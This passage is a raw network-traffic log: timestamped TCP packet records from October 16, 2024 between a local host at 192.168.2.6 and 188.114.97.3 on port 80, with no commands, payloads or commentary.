                                                                                    Oct 16, 2024 10:58:23.296133995 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.313010931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.313040018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.313050032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.313060045 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.313070059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.313103914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.313138962 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317130089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317141056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317151070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317159891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317199945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317229986 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317250967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317261934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317270994 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317280054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317296982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317306042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317316055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317325115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317329884 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317329884 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317329884 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317336082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317365885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317392111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317430973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317440987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317451000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317457914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317472935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317482948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317486048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317486048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317492008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317508936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317518950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317523003 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317528009 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317538023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317544937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317544937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317555904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317565918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317564964 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317573071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317584991 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317610979 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317670107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317679882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317696095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317711115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317713022 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317722082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317729950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317732096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317744017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317753077 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317759991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317770958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317779064 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317780018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317790985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317792892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317805052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317823887 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317842960 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317847013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317857981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317873001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317881107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317888021 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317909002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317910910 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317920923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317929983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317941904 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317961931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317967892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.317979097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317987919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.317991018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318015099 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318034887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318049908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318059921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318068981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318088055 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318101883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318113089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318151951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318172932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318182945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318192005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318201065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318209887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318222046 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318238974 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318255901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318365097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318485022 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318495035 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318504095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318526983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318542004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318550110 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318553925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318564892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318579912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318589926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318592072 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318602085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318607092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318619967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318640947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318654060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318670034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318686008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318718910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318720102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318730116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318741083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318754911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318779945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318840027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318850040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318860054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318867922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318877935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318886995 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318888903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318900108 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318905115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318917036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318924904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318929911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318934917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318953991 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318968058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318974972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.318979025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.318994045 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319004059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319005013 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.319014072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319030046 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.319055080 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.319124937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319135904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319144964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319171906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.319189072 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.319202900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319212914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319221973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319245100 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.319255114 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.319264889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319272041 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.319277048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.319308043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.377861977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.377882957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.377895117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.377906084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.377918005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.377928019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.377943039 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.377975941 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.378254890 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378268003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378278017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378307104 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.378315926 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.378319979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378331900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378341913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378354073 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378355026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.378364086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378366947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.378386021 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.378396988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.378406048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378420115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378429890 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378438950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.378451109 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.378465891 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.413343906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.413374901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.413386106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.413484097 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.413485050 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.430031061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.430051088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.430062056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.430071115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.430080891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.430089951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.430099010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.430136919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.430136919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434086084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434115887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434132099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434144020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434154034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434173107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434212923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434225082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434235096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434245110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434254885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434263945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434283972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434288025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434299946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434309959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434320927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434330940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434333086 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434345961 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434374094 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434484959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434494972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434504032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434514999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434520006 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434547901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434580088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434588909 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434597969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434613943 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434622049 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434632063 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434639931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434642076 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434649944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434657097 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434662104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434678078 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434691906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434760094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434783936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434798956 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434819937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434870005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434880972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434890032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434906960 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434923887 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434932947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434943914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434953928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.434979916 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.434993982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435051918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435062885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435070992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435079098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435091972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435094118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435106039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435111046 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435122013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435132027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435137033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435142994 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435144901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435156107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435168028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435168982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435175896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435178995 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435187101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435197115 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435218096 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435228109 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435239077 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435247898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435257912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435267925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435276985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435282946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435282946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435306072 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435317039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435326099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435332060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435340881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435339928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435340881 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435352087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435358047 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435379982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435398102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435401917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435466051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435508013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435528040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435540915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435550928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435560942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435563087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435570955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435580969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435590982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435591936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435595036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435606956 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435627937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.435767889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435776949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435787916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435796976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.435806036 CEST8049802188.114.97.3192.168.2.6
